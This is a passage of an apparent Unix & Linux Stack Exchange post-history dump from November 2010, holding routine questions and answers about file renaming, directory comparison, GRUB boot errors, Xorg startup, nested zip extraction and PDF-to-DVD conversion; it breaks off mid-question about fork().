  <row Id="9504" PostHistoryTypeId="5" PostId="1445" RevisionGUID="21804a71-e5c0-46f8-9a2d-be97c8e0d2f7" CreationDate="2010-11-26T18:10:02.570" UserId="73" Comment="deleted 40 characters in body" Text="Generally you choose the distribution you are most familiar with and you tend to get to be familiar with the distribution you like the most.&#xD;&#xA;&#xD;&#xA;If there is no particular feature in a distribution that is unique to one distribution (user-friendliness in ubuntu, commitment to open source in debian, commercial support in SuSE and Red Hat and so on) that is a must-have for you then you'll just have to choose any one and **stick to it** for a time.&#xD;&#xA;&#xD;&#xA;If there were no reason for a distribution to exist and be popular, it wouldn't be around any more.&#xD;&#xA;" />
  <row Id="9505" PostHistoryTypeId="2" PostId="4355" RevisionGUID="027757a9-8290-4343-8fee-3b895cd34912" CreationDate="2010-11-26T18:11:18.420" UserId="2832" Text="There is a rename.ul command. (guess by default in ubuntu). it gives u a simple way to rename files&#xD;&#xA;Syntax:&#xD;&#xA;rename from to file..." />
  <row Id="9507" PostHistoryTypeId="2" PostId="4357" RevisionGUID="7b40b37b-0882-4c6c-aa57-6b6ffa9d840a" CreationDate="2010-11-26T19:38:48.390" UserId="2823" Text=" - [Cairo dock][1]&#xD;&#xA; - [ADeskBar][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.glx-dock.org/&#xD;&#xA;  [2]: https://launchpad.net/adeskbar" />
  <row Id="9508" PostHistoryTypeId="2" PostId="4358" RevisionGUID="e3a08604-8e38-4607-85a6-615dda1091a3" CreationDate="2010-11-26T19:41:11.540" UserId="252" Text="You could pipe it to `tail -f` instead, it would result in you following the output. You'd be losing the ability to move (scroll) through your output though." />
  <row Id="9510" PostHistoryTypeId="2" PostId="4359" RevisionGUID="e9a2b1e4-cd45-477a-9f3b-e3fa9095339d" CreationDate="2010-11-26T20:27:15.047" UserId="885" Text="Obligatory zsh answer:&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    zmv 'Dropkick Murphys - (*.mp3)' '$1'&#xD;&#xA;&#xD;&#xA;Variants, to do the renaming for all artist names. Note that the first command takes the longest match of the first `*`, e.g. it will rename `Dropkick Murphys - 01 - Walk Away - concert.mp3` to `Walk Away - concert.mp3`.&#xD;&#xA;&#xD;&#xA;    zmv '* - (* - *.mp3)' '$1'&#xD;&#xA;    zmv '*.mp3' '${f#* - }'&#xD;&#xA;" />
  <row Id="9511" PostHistoryTypeId="6" PostId="3712" RevisionGUID="36cbeed1-c16c-45ab-8e2c-78f7c59beb1f" CreationDate="2010-11-26T20:29:50.443" UserId="885" Comment="edited tags" Text="égnomeàétouchpadà" />
  <row Id="9512" PostHistoryTypeId="2" PostId="4360" RevisionGUID="414a14ed-5c77-49c2-853d-d6d5241b32dc" CreationDate="2010-11-26T21:07:51.733" UserId="2836" Text="I would like to add the option of fully customizing your Fedora installation. Have a look a Revisor for doing this.&#xD;&#xA;&#xD;&#xA;http://revisor.fedoraunity.org/" />
  <row Id="9513" PostHistoryTypeId="5" PostId="4341" RevisionGUID="bc14e38c-aa85-4b98-ac6a-cc659c79a27e" CreationDate="2010-11-26T21:23:20.387" UserId="2180" Comment="added 20 characters in body" Text="A good way to inspect what a command is:&#xD;&#xA;&#xD;&#xA;    type l&#xD;&#xA;&#xD;&#xA;If it's a program, it will give you its location, if it is an alias, it will tell you what it's aliased to, if it's a function, it will print the funciton; otherwise, it will tell you if it is a built-in or a keyword." />
  <row Id="9514" PostHistoryTypeId="2" PostId="4361" RevisionGUID="15f3fadb-89c2-4854-a61a-11e89de29b80" CreationDate="2010-11-26T21:29:58.323" UserId="885" Text="There's no good way to do this in `less`. You can type `F` to keep reading at the end of a file (like `tail -f`). You can type `:e` and a file name to view a different file, but unfortunately, if you enter the name of the current file, `less` doesn't reload the file.&#xD;&#xA;&#xD;&#xA;If you're looking for an alternative to `watch ls`, here are a few:&#xD;&#xA;&#xD;&#xA;* Modern file managers (e.g. Nautilus, Thunar, Konqueror, Dolphin, Finder) refresh views in real time.&#xD;&#xA;* Emacs doesn't have real-time refresh, but with `auto-revert-mode`, it will reload the file or directory every 5 seconds (the delay is configurable).&#xD;&#xA;* Although w3m is primarily a web browser, it makes a passable directory and text file viewer. Press `R` to reload the (local) URL.&#xD;&#xA;" />
  <row Id="9515" PostHistoryTypeId="2" PostId="4362" RevisionGUID="4626c777-d9d0-4ad5-8cbd-2e95cab4b46f" CreationDate="2010-11-26T21:46:03.197" UserId="479" Text="I have a directory containing about 7,000 music files.  I used lame to recursively re-encode all files in it to a separate directory, outputting all files with the same relative path and file name.  The output files have a .mp3 extension, but some of the input files had different extensions (.wma, .aac, etc).&#xD;&#xA;&#xD;&#xA;I can see that there is a file count difference of ~100 files missing in the output directory.  What I want to do is run a compare of the two directories and obtain a list of the files that exist in the source, but not in the destination.  This would be simple enough except I need to ignore differences in file extension.&#xD;&#xA;&#xD;&#xA;I've tried using rsync with dry-run turned on but I couldn't figure out a way to ignore file extensions.  I've also tried diff but was unable to find an option to only check by name but ignore file extensions.  I started thinking I could just do a recursive ls on both directories, remove the file extensions, and then compare the outputs, but I really have no idea on where to start with modifying the ls output using sed or awk since I'm a compete noob with those." />
  <row Id="9516" PostHistoryTypeId="1" PostId="4362" RevisionGUID="4626c777-d9d0-4ad5-8cbd-2e95cab4b46f" CreationDate="2010-11-26T21:46:03.197" UserId="479" Text="Recursively compare directory contents by name, ignoring file extensions" />
  <row Id="9517" PostHistoryTypeId="3" PostId="4362" RevisionGUID="4626c777-d9d0-4ad5-8cbd-2e95cab4b46f" CreationDate="2010-11-26T21:46:03.197" UserId="479" Text="édiffà" />
  <row Id="9518" PostHistoryTypeId="2" PostId="4363" RevisionGUID="c973b710-5e49-4f78-85be-8567050939f1" CreationDate="2010-11-26T22:20:57.160" UserId="885" Text="To see a listing, here are two variants, one that recurses into subdirectories and one that doesn't. All use syntax specific to bash, ksh and zsh.&#xD;&#xA;&#xD;&#xA;    comm -3 &lt;(cd source &amp;&amp; find -type f | sed 's/\.[^.]*$//' | sort) \&#xD;&#xA;            &lt;(cd dest &amp;&amp; find -type f | sed 's/\.[^.]*$//' | sort)&#xD;&#xA;    comm -3 &lt;(cd source &amp;&amp; for x in *; do printf '%s\n' &quot;${x%.*}&quot;; done | sort) \&#xD;&#xA;            &lt;(cd dest &amp;&amp; for x in *; do printf '%s\n' &quot;${x%.*}&quot;; done | sort)&#xD;&#xA;&#xD;&#xA;Shorter, in zsh:&#xD;&#xA;&#xD;&#xA;    comm -3 &lt;(cd source &amp;&amp; print -lr **/*(:r)) &lt;(cd dest &amp;&amp; print -lr **/*(:r))&#xD;&#xA;    comm -3 &lt;(print -lr source/*(:t:r)) &lt;(print -lr dest/*(:t:r))&#xD;&#xA;&#xD;&#xA;The `comm` command lists the lines that are common to two files (`comm -12`), that are only in the first file (`comm -23`) or that are only in the second file (`comm -13`). The numbers indicate what is subtracted from the output¹. The two input files must be sorted.&#xD;&#xA;&#xD;&#xA;Here, the files are in fact the output of a command. The shell evaluates the `&lt;(…)` construct by providing a “fake” file (a FIFO or a `/dev/fd/` named file descriptor) as the argument to the command.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;So here the [minus sayers](http://unix.stackexchange.com/questions/2212/why-do-unix-heads-say-minus) are fully justified.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you want to perform actions on the files, you'll probably want to iterate over the source files.&#xD;&#xA;&#xD;&#xA;    cd source&#xD;&#xA;    for x in *; do&#xD;&#xA;      set -- &quot;…/dest/${x%.*}&quot;.*&#xD;&#xA;      if [ $# -eq 1 ] &amp;&amp; ! [ -e &quot;$1&quot; ]; then&#xD;&#xA;        echo &quot;$x has not been converted&quot;&#xD;&#xA;      elif [ $# -gt 1 ]; then&#xD;&#xA;        echo &quot;$x has been converted to more than one output file: &quot; &quot;$@&quot;&#xD;&#xA;      else&#xD;&#xA;        echo &quot;$x has been converted to $1&quot;&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="9519" PostHistoryTypeId="6" PostId="4362" RevisionGUID="538a62b2-75ed-4a80-87ec-36fb6781b0e4" CreationDate="2010-11-26T22:22:09.517" UserId="885" Comment="edited tags" Text="édirectoryàéshellöscriptàédiffàéfilenamesà" />
  <row Id="9520" PostHistoryTypeId="2" PostId="4364" RevisionGUID="87f3e538-86cd-4ee5-b336-0bb9119076b6" CreationDate="2010-11-26T22:27:58.017" UserId="2824" Text="&gt; Notice: This is not about dual booting, I can setup GRUB to dual boot with Windows 7 later. I just need to be able to get into Arch Linux.&#xD;&#xA;&#xD;&#xA;Last night I installed Arch onto my computer via netinstall and it all went smoothly, but when I went to reboot... it loaded up the GRUB menu and it listed Arch Linux, but when I select it, I get &quot;Error 15: File not found.&quot;&#xD;&#xA;&#xD;&#xA;I've been googling and trying various way to fix this problem but I always get the same error.&#xD;&#xA;&#xD;&#xA;Some info about my partitions:&#xD;&#xA;&#xD;&#xA;/dev/sda:&#xD;&#xA;&#xD;&#xA;1. Windows 7 System Reserved&#xD;&#xA;2. Windows 7&#xD;&#xA;&#xD;&#xA;/dev/sdb:&#xD;&#xA;&#xD;&#xA;1. Data (Movies, Music, etc..)&#xD;&#xA;&#xD;&#xA;/dev/sdc:&#xD;&#xA;&#xD;&#xA;1. Seperate Boot Partition&#xD;&#xA;2. Swap&#xD;&#xA;3. Seperate Home Partition&#xD;&#xA;4. Root&#xD;&#xA;&#xD;&#xA;/dev/sdd:&#xD;&#xA;&#xD;&#xA;1. PENDRIVE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`ubuntu@ubuntu:~$ sudo blkid`&#xD;&#xA;&#xD;&#xA;    /dev/loop0: TYPE=&quot;squashfs&quot; &#xD;&#xA;    /dev/sdb1: LABEL=&quot;Stuff&quot; UUID=&quot;72D6355E32F06BD5&quot; TYPE=&quot;ntfs&quot; &#xD;&#xA;    /dev/sda1: LABEL=&quot;System Reserved&quot; UUID=&quot;A8F8AC7FF8AC4CFE&quot; TYPE=&quot;ntfs&quot; &#xD;&#xA;    /dev/sda2: UUID=&quot;2A20B02620AFF6CB&quot; TYPE=&quot;ntfs&quot; &#xD;&#xA;    /dev/sdc1: UUID=&quot;2a23abcf-b29f-4119-b406-0b1817e5c8e1&quot; TYPE=&quot;ext2&quot; &#xD;&#xA;    /dev/sdc2: UUID=&quot;f3d9ce0d-5953-4f4e-885a-4cd2ebf6b6e9&quot; TYPE=&quot;swap&quot; &#xD;&#xA;    /dev/sdc3: UUID=&quot;2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4&quot; TYPE=&quot;ext4&quot; &#xD;&#xA;    /dev/sdc4: UUID=&quot;7b4faa93-98db-49e3-ad41-92e9dc60deda&quot; TYPE=&quot;ext4&quot; &#xD;&#xA;    /dev/sdd1: LABEL=&quot;PENDRIVE&quot; UUID=&quot;0290-E580&quot; TYPE=&quot;vfat&quot; &#xD;&#xA;&#xD;&#xA;`menu.lst`&#xD;&#xA;&#xD;&#xA;    timeout   5&#xD;&#xA;    default   0&#xD;&#xA;    color     light-blue/black light-cyan/blue&#xD;&#xA;&#xD;&#xA;    #===--- Arch Linux&#xD;&#xA;    title  Arch Linux&#xD;&#xA;    root   (hd2,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 ro vga=775&#xD;&#xA;    initrd /kernel26.img&#xD;&#xA;&#xD;&#xA;    #===--- Arch Linux Fallback&#xD;&#xA;    title  Arch Linux Fallback&#xD;&#xA;    root   (hd2,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 ro vga=775&#xD;&#xA;    initrd /kernel26-fallback.img&#xD;&#xA;&#xD;&#xA;    #===--- Windows 7&#xD;&#xA;    title         Windows 7&#xD;&#xA;    rootnoverify  (hd0,0)&#xD;&#xA;    chainloader   +1&#xD;&#xA;&#xD;&#xA;`fstab`&#xD;&#xA;&#xD;&#xA;    # &#xD;&#xA;    # /etc/fstab: static file system information&#xD;&#xA;    #&#xD;&#xA;    # &lt;file system&gt;        &lt;dir&gt;         &lt;type&gt;    &lt;options&gt;          &lt;dump&gt; &lt;pass&gt;&#xD;&#xA;    devpts                 /dev/pts      devpts    defaults            0      0&#xD;&#xA;    shm                    /dev/shm      tmpfs     nodev,nosuid        0      0&#xD;&#xA;    /dev/sdc1              /boot         ext2      defaults            0      1&#xD;&#xA;    /dev/sdc2              /             ext4      defaults            0      1&#xD;&#xA;    /dev/sdc3              /home         ext4      defaults            0      1&#xD;&#xA;    /dev/sdc4              swap          swap      defaults            0      1&#xD;&#xA;" />
  <row Id="9521" PostHistoryTypeId="1" PostId="4364" RevisionGUID="87f3e538-86cd-4ee5-b336-0bb9119076b6" CreationDate="2010-11-26T22:27:58.017" UserId="2824" Text="Grub Won't Boot Arch Linux" />
  <row Id="9522" PostHistoryTypeId="3" PostId="4364" RevisionGUID="87f3e538-86cd-4ee5-b336-0bb9119076b6" CreationDate="2010-11-26T22:27:58.017" UserId="2824" Text="éarchölinuxàégrubà" />
  <row Id="9523" PostHistoryTypeId="2" PostId="4365" RevisionGUID="529749bd-7858-4ac4-83f2-7d76bb30bc0f" CreationDate="2010-11-27T00:39:31.127" UserId="2838" Text="I am having difficulty starting up the Xorg server within my Gentoo installation. I set it up via [The X Server Configuration HOWTO][1]. When I get to the part where I `startx`, the screen flickers a bit, and then it drops me back into the terminal with the following message:&#xD;&#xA;&#xD;&#xA;    [some stuff here]&#xD;&#xA;    (EE) Failed to load module &quot;vesa&quot; (module does not exist, 0)&#xD;&#xA;    (EE) Failed to load module &quot;fbdev&quot; (module does not exist, 0)&#xD;&#xA;    FATAL: COuld not load /lib/modules/2.6.35-gentoo-r12/modules.dep: No such file or directory&#xD;&#xA;&#xD;&#xA;Two things that are weird to me - I am not using vesa or fbdev drivers. I am using intel and evdev in my `/etc/make.conf`. Secondly, I don't use modules in my kernel. I specifically remove them. This hasn't caused a problem before. I'm not really sure what is going on. Any help would be much appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/xorg-config.xml" />
  <row Id="9524" PostHistoryTypeId="1" PostId="4365" RevisionGUID="529749bd-7858-4ac4-83f2-7d76bb30bc0f" CreationDate="2010-11-27T00:39:31.127" UserId="2838" Text="Xorg Server Failing to Startup" />
  <row Id="9525" PostHistoryTypeId="3" PostId="4365" RevisionGUID="529749bd-7858-4ac4-83f2-7d76bb30bc0f" CreationDate="2010-11-27T00:39:31.127" UserId="2838" Text="éinstallàéxorgàégentooà" />
  <row Id="9526" PostHistoryTypeId="2" PostId="4366" RevisionGUID="1db8f351-80d6-4fe2-99ba-d675a5cd8b4e" CreationDate="2010-11-27T07:38:32.507" UserId="1327" Text="&#xD;&#xA;The main thing that seems wrong here is that in the line &#xD;&#xA;&#xD;&#xA;&gt; kernel /vmlinuz26 root=/dev/disk/by-uuid/2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 ro vga=775&#xD;&#xA;&#xD;&#xA;You are using the **uuid** for `/dev/sdc3` which is your `/home` partition, you should be using the **uuid** for `/dev/sdc2` which is your `/` partition.&#xD;&#xA;&#xD;&#xA;Also... the output from `sudo blkid` does not match what is shown in `fstab`. In *blkid* the swap partition is `/dev/sdc2`, but in *fstab* the swap partition is `/dev/sdc4`...&#xD;&#xA;&#xD;&#xA;You need to figure out these descrepencies.... then you can try to re-configure your `grub.conf`&#xD;&#xA;&#xD;&#xA;Some pointers:&#xD;&#xA;&#xD;&#xA; - Have you tried other values of root, like `root (hd2,1)` ? &#xD;&#xA;&#xD;&#xA; - Instead of &#xD;&#xA;&#xD;&#xA;   &gt; kernel /vmlinuz26 root=/dev/disk/by-uuid/2a53bdc8-7a9a-4dd2-9aef-5b7b4c3e74a4 ro vga=775`&#xD;&#xA;&#xD;&#xA;  you could try things like&#xD;&#xA;&#xD;&#xA;   &gt; kernel /vmlinuz26 root=/dev/sdc2 ro vga=775&#xD;&#xA;&#xD;&#xA; - Make sure that `/boot/kernel26.img` exists.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9527" PostHistoryTypeId="2" PostId="4367" RevisionGUID="356b6066-ce17-4d5c-b0ed-a5cb6f86a371" CreationDate="2010-11-27T09:56:38.297" UserId="1898" Text="I have numerous zip archives, each of which contains a number of zip archives. What is the best way to extract all the files that aren't zip files themselves into one folder?" />
  <row Id="9528" PostHistoryTypeId="1" PostId="4367" RevisionGUID="356b6066-ce17-4d5c-b0ed-a5cb6f86a371" CreationDate="2010-11-27T09:56:38.297" UserId="1898" Text="Extracting nested zip files" />
  <row Id="9529" PostHistoryTypeId="3" PostId="4367" RevisionGUID="356b6066-ce17-4d5c-b0ed-a5cb6f86a371" CreationDate="2010-11-27T09:56:38.297" UserId="1898" Text="ébashàéscriptingà" />
  <row Id="9530" PostHistoryTypeId="2" PostId="4368" RevisionGUID="57f35a15-7f6d-4543-a27d-4a465bd74a78" CreationDate="2010-11-27T10:00:14.160" UserId="1898" Text="By default, it is an alias for `ls -CF` in ubuntu." />
  <row Id="9532" PostHistoryTypeId="2" PostId="4370" RevisionGUID="5ced3461-88a1-487c-b37d-0f81ce4fecf4" CreationDate="2010-11-27T13:06:58.590" UserId="2641" Text="`unzip` doesn't do this, because the UNIX way is to do one thing and do that well, not handle all crazy special cases in every tool. Thus, you need to use the shell (which does the job of &quot;tieing things together&quot; well). This makes it a programming question, and since ALL possible programming questions have been answered on StackOverflow, here: [How do you recursively unzip archives in a directory and its subdirectories from the Unix command-line?][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/107995/how-do-you-recursively-unzip-archives-in-a-directory-and-its-subdirectories-from" />
  <row Id="9533" PostHistoryTypeId="2" PostId="4371" RevisionGUID="44d4f0ec-68bf-4528-8230-859e65d043ea" CreationDate="2010-11-27T13:23:29.013" UserId="2180" Text="This will extract all the zip files into the current directory, excluding any zipfiles contained within them.&#xD;&#xA;&#xD;&#xA;    find -name &quot;*.zip&quot; -exec unzip {} -x *.zip \;&#xD;&#xA;&#xD;&#xA;Although this extracts the contents to the current directory, not all files will end up strictly in this directory since the contents may include subdirectories.&#xD;&#xA;&#xD;&#xA;After that if you actually wanted all the files in this directory, you can run&#xD;&#xA;&#xD;&#xA;    find -mindepth 2 -exec mv {} . \;" />
  <row Id="9534" PostHistoryTypeId="2" PostId="4372" RevisionGUID="f48bebb9-1f6a-4989-bb3e-ef534e00936c" CreationDate="2010-11-27T13:26:50.713" UserId="885" Text="As far as I understand, you have zip archives that themselves contain zip archives, and you would like to unzip nested zips whenever one is extracted.&#xD;&#xA;&#xD;&#xA;Here's a bash 4 script that unzips all zips in the current directory and its subdirectories recursively, removes each zip file after it has been unzipped, and keeps going as long as there are zip files. A zip file in a subdirectory is extracted relative to that subdirectory. Warning: untested, make a backup of the original files before trying it out or replace `rm` by moving the zip file *outside the directory tree*.&#xD;&#xA;&#xD;&#xA;    shopt -s globstar nullglob&#xD;&#xA;    while set -- **/*.zip; [ $# -ge 1 ] do&#xD;&#xA;      for z; do&#xD;&#xA;        ( cd -- &quot;$(dirname &quot;$z&quot;)&quot; &amp;&amp;&#xD;&#xA;          z=${z##*/} &amp;&amp;&#xD;&#xA;          unzip -- &quot;$z&quot; &amp;&amp;&#xD;&#xA;          rm -- &quot;$z&quot;&#xD;&#xA;        )&#xD;&#xA;      done&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;The script will also work in zsh if you replace the `shopt` line with `setopt nullglob`.&#xD;&#xA;&#xD;&#xA;Here's a portable equivalent. The termination condition is a little complicated because `find` does not spontaneously return a status to indicate whether it has found any files. Warning: as above.&#xD;&#xA;&#xD;&#xA;    while [ -n &quot;$(find . -type f -name '*.zip' -exec sh -c '&#xD;&#xA;        cd &quot;${z%/*}&quot; &amp;&amp;&#xD;&#xA;        z=${z##*/} &amp;&amp;&#xD;&#xA;        unzip -- &quot;$z&quot; 1&gt;&amp;2 &amp;&amp;&#xD;&#xA;        rm -- &quot;$z&quot; &amp;&amp;&#xD;&#xA;        echo 1&#xD;&#xA;    ')&quot; ]; do :; done&#xD;&#xA;" />
  <row Id="9535" PostHistoryTypeId="6" PostId="4367" RevisionGUID="38f421be-1e21-4eae-9540-b05276b04013" CreationDate="2010-11-27T13:27:19.073" UserId="885" Comment="edited tags" Text="ébashàéscriptingàéarchiveà" />
  <row Id="9536" PostHistoryTypeId="5" PostId="4371" RevisionGUID="2fd235ba-f993-41af-9671-85c00d44c04c" CreationDate="2010-11-27T13:32:51.253" UserId="2180" Comment="added 97 characters in body; added 5 characters in body" Text="This will extract all the zip files into the current directory, excluding any zipfiles contained within them.&#xD;&#xA;&#xD;&#xA;    find -name '*.zip' -exec unzip {} -x '*.zip' \;&#xD;&#xA;&#xD;&#xA;Although this extracts the contents to the current directory, not all files will end up strictly in this directory since the contents may include subdirectories.&#xD;&#xA;&#xD;&#xA;If you actually wanted all the files strictly in the current directory, you can run&#xD;&#xA;&#xD;&#xA;    find -mindepth 2 -exec mv {} . \;&#xD;&#xA;&#xD;&#xA;Note: this will clobber files if there are two with the same name in different directories." />
  <row Id="9537" PostHistoryTypeId="5" PostId="4371" RevisionGUID="febfd50c-1758-41a1-a3aa-cb53b5f9481c" CreationDate="2010-11-27T13:58:35.080" UserId="2180" Comment="added 6 characters in body; added 4 characters in body; added 16 characters in body" Text="This will extract all the zip files into the current directory, excluding any zipfiles contained within them.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.zip' -exec unzip -- {} -x '*.zip' \;&#xD;&#xA;&#xD;&#xA;Although this extracts the contents to the current directory, not all files will end up strictly in this directory since the contents may include subdirectories.&#xD;&#xA;&#xD;&#xA;If you actually wanted all the files strictly in the current directory, you can run&#xD;&#xA;&#xD;&#xA;    find . -type f -mindepth 2 -exec mv -- {} . \;&#xD;&#xA;&#xD;&#xA;Note: this will clobber files if there are two with the same name in different directories." />
  <row Id="9538" PostHistoryTypeId="2" PostId="4373" RevisionGUID="943dd8bf-8d02-42a5-8ba3-2359386667b9" CreationDate="2010-11-27T15:35:02.257" UserId="1483" Text="&gt; FATAL: Could not load /lib/modules/2.6.35-gentoo-r12/modules.dep: No such file or directory&#xD;&#xA;&#xD;&#xA;Make sure you ran make modules_install for your kernel." />
  <row Id="9539" PostHistoryTypeId="2" PostId="4374" RevisionGUID="89e57e3d-c08e-4f0a-9ad2-e3179d79585c" CreationDate="2010-11-27T17:22:50.867" UserId="688" Text="Each page would be navigable with the player's 'next' button. The result should have a directory called VIDEO_TS, to ensure it will play in old players." />
  <row Id="9540" PostHistoryTypeId="1" PostId="4374" RevisionGUID="89e57e3d-c08e-4f0a-9ad2-e3179d79585c" CreationDate="2010-11-27T17:22:50.867" UserId="688" Text="How to convert a PDF file to a DVD movie?" />
  <row Id="9541" PostHistoryTypeId="3" PostId="4374" RevisionGUID="89e57e3d-c08e-4f0a-9ad2-e3179d79585c" CreationDate="2010-11-27T17:22:50.867" UserId="688" Text="édvdàépdfà" />
  <row Id="9542" PostHistoryTypeId="5" PostId="4371" RevisionGUID="95fa1b86-6f36-4a7c-8a55-dd29f9c0eac7" CreationDate="2010-11-27T17:39:10.623" UserId="2180" Comment="added 370 characters in body" Text="This will extract all the zip files into the current directory, excluding any zipfiles contained within them.&#xD;&#xA;&#xD;&#xA;    find . -type f -name '*.zip' -exec unzip -- '{}' -x '*.zip' \;&#xD;&#xA;&#xD;&#xA;Although this extracts the contents to the current directory, not all files will end up strictly in this directory since the contents may include subdirectories.&#xD;&#xA;&#xD;&#xA;If you actually wanted all the files strictly in the current directory, you can run&#xD;&#xA;&#xD;&#xA;    find . -type f -mindepth 2 -exec mv -- '{}' . \;&#xD;&#xA;&#xD;&#xA;Note: this will clobber files if there are two with the same name in different directories.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want to recursively extract all the zip files and the zips contained within, the following extracts all the zip files in the current directory and all the zips contained within them to the current directory.&#xD;&#xA;&#xD;&#xA;    while [ &quot;`find . -type f -name '*.zip' | wc -l`&quot; -gt 0 ]; do find -type f -name &quot;*.zip&quot; -exec unzip -- '{}' \; -exec rm -- '{}' \;; done&#xD;&#xA;" />
  <row Id="9544" PostHistoryTypeId="2" PostId="4375" RevisionGUID="de93b092-e251-41bc-9f9b-7ba0de3ff13f" CreationDate="2010-11-27T21:06:58.923" UserId="2534" Text="I would be very surprised if there is software that does this automatically, but if you take a screenshot of every page and save this as a graphics image, then most DVD creation software will allow you to take each image into a menu structure.&#xD;&#xA;&#xD;&#xA;If its a long PDF, then its going to be quite a bit of work." />
  <row Id="9545" PostHistoryTypeId="2" PostId="4376" RevisionGUID="1f28281c-7197-4d32-bcbe-f617453dfe19" CreationDate="2010-11-27T21:56:10.360" UserId="2661" Text="First that you need to do is convert PDF file into series of images - one image for one page. To achieve this we could use `convert` from ImageMagick program:&#xD;&#xA;&#xD;&#xA;    convert -scale 1600x1600 -density 300 pdffile.pdf somename.jpg&#xD;&#xA;&#xD;&#xA;This command convert `pdffile.pdf` into series of `somename-NUMBER.jpg` files.&#xD;&#xA;&#xD;&#xA;Next thing is to create slideshow from these files. For this we could use [dvd-slideshow][1] tool.&#xD;&#xA;&#xD;&#xA;    dir2slideshow -n 'NAME' -t 5 DIR&#xD;&#xA;    dvd-slideshow -n 'NAME' -f NAME.txt&#xD;&#xA;&#xD;&#xA;First command will create file with description of slideshow with name NAME, time for picture 5 sec from pictures in directory DIR. Second command will generate vob file that you need to burn to DVD (to VIDEO_TS dir). Quick introduction to dvd-slideshow you could read in [this blog][2].&#xD;&#xA;&#xD;&#xA;In example that I presented there pages are changed automatically (`-t` option in `dir2slideshow`). I'm not sure if navigation that you want could be easily achieved. My only idea is create DVD with chapters - one chapter for one PDF file and constantly loop each chapter until the 'next' button is pressed.&#xD;&#xA;&#xD;&#xA;In this solution you could change slide time to 2 seconds and pause it after change, so when you unpause it next slide will be displayed after one second.&#xD;&#xA;&#xD;&#xA;  [1]: http://dvd-slideshow.sourceforge.net/&#xD;&#xA;  [2]: http://jcornuz.wordpress.com/2008/01/22/producing-a-dvd-slideshow/" />
  <row Id="9546" PostHistoryTypeId="5" PostId="4376" RevisionGUID="3d163896-1368-4b9e-a050-3af055aaf4b9" CreationDate="2010-11-27T23:47:56.880" UserId="2661" Comment="edited body" Text="First that you need to do is convert PDF file into series of images - one image for one page. To achieve this we could use `convert` from ImageMagick program:&#xD;&#xA;&#xD;&#xA;    convert -scale 1600x1600 -density 300 pdffile.pdf somename.jpg&#xD;&#xA;&#xD;&#xA;This command convert `pdffile.pdf` into series of `somename-NUMBER.jpg` files.&#xD;&#xA;&#xD;&#xA;Next thing is to create slideshow from these files. For this we could use [dvd-slideshow][1] tool.&#xD;&#xA;&#xD;&#xA;    dir2slideshow -n 'NAME' -t 5 DIR&#xD;&#xA;    dvd-slideshow -n 'NAME' -f NAME.txt&#xD;&#xA;&#xD;&#xA;First command will create file with description of slideshow with name NAME, time for picture 5 sec from pictures in directory DIR. Second command will generate vob file that you need to burn to DVD (to VIDEO_TS dir). Quick introduction to dvd-slideshow you could read in [this blog][2].&#xD;&#xA;&#xD;&#xA;In example that I presented there pages are changed automatically (`-t` option in `dir2slideshow`). I'm not sure if navigation that you want could be easily achieved. My only idea is create DVD with chapters - one chapter for one JPG file and constantly loop each chapter until the 'next' button is pressed.&#xD;&#xA;&#xD;&#xA;In this solution you could change slide time to 2 seconds and pause it after change, so when you unpause it next slide will be displayed after one second.&#xD;&#xA;&#xD;&#xA;  [1]: http://dvd-slideshow.sourceforge.net/&#xD;&#xA;  [2]: http://jcornuz.wordpress.com/2008/01/22/producing-a-dvd-slideshow/" />
  <row Id="9547" PostHistoryTypeId="5" PostId="4367" RevisionGUID="ec88e5e3-262f-4052-8df0-fb564e0c240a" CreationDate="2010-11-28T00:56:13.543" UserId="1898" Comment="added 45 characters in body; added 12 characters in body" Text="I have numerous zip archives, each of which contains a number of zip archives. What is the best way to recursively extract all files contained within this zip archive and its child zip archives, that aren't zip archives themselves?" />
  <row Id="9548" PostHistoryTypeId="2" PostId="4377" RevisionGUID="7e9af6db-aa28-41e3-ba6b-0eba5e9f3318" CreationDate="2010-11-28T02:36:00.217" UserDisplayName="thomas1234" Text="I'm trying to learn UNIX programming and came across a question regarding fork(). I understand that fork() creates an identical process of the currently running process, but where does it start? For example, if I have code&#xD;&#xA;&#xD;&#xA;    int main (int argc, char **argv)&#xD;&#xA;    {&#xD;&#xA;    &#xD;&#xA;        int retval;&#xD;&#xA;        printf (&quot;This is most definitely the parent process\n&quot;);&#xD;&#xA;        fflush (stdout);&#xD;&#xA;        retval = fork ();&#xD;&#xA;        printf (&quot;Which process printed this?\n&quot;);&#xD;&#xA;    &#xD;&#xA;        return (EXIT_SUCCESS);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The output is:&#xD;&#xA;&#xD;&#xA;This is most definitely the parent process&#xD;&#xA;Which process printed this?&#xD;&#xA;Which process printed this?&#xD;&#xA;&#xD;&#xA;I thought that fork() creates a same process, so I initially that that in that program, the fork() call would be recursively called forever. I guess that new process created from fork() starts after the fork() call?&#xD;&#xA;&#xD;&#xA;If I add the following code, to differentiate between a parent and child process,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    if (child_pid = fork ()) printf (&quot;This is the parent, child pid is %d\n&quot;, child_pid);&#xD;&#xA;    else printf (&quot;This is the child, pid is %d\n&quot;,getpid ());&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;after the fork() call, 